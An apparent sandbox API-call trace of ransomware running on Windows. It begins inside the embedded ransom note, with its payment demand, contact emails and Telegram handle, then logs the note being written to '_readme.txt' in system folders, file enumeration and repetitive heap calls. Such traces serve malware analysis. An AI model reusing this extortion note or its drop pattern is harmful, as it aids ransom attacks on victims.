account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.279] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.279] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.279] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.279] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.280] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.280] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.280] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.280] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.280] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.288] RtlAllocateHeap 